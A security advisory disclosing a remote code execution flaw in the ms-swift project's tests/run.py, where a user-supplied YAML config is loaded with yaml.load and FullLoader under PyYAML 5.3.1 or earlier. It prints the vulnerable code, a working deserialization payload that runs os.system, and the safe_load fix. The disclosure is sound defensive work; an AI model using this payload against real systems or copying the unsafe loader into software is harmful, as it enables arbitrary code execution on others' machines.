GHSA-fm6c-f59h-7mmg MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

• PyPI ms-swift: <= 3.6.3 (no fix yet)

Description A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`. If an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution. Affected Repository • Project: modelscope/ms-swift • Affect versions: latest • File: `tests/run.py` • GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420 • Dependency: PyYAML <= 5.3.1 Vulnerable Code ```python if args.run_config is not None and Path(args.run_config).exists(): with open(args.run_config, encoding='utf-8') as f: run_config = yaml.load(f, Loader=yaml.FullLoader) ``` Proof of Concept (PoC) Step 1: Create malicious YAML file (`exploit.yaml`) ```yaml !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__('os').system('mkdir HACKED')" ``` Step 2: Execute with vulnerable PyYAML (<= 5.3.1) ```python import yaml with open("exploit.yaml", "r") as f: cfg = yaml.load(f, Loader=yaml.FullLoader) ``` This results in execution of `os.system`, proving code execution. Mitigation • Replace `yaml.load()` with `yaml.safe_load()` • Upgrade PyYAML to version 5.4 or later Example Fix: ```python Before yaml.load(f, Loader=yaml.FullLoader) After yaml.safe_load(f) ``` Author • Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩) • Contact: *\[[email protected]]*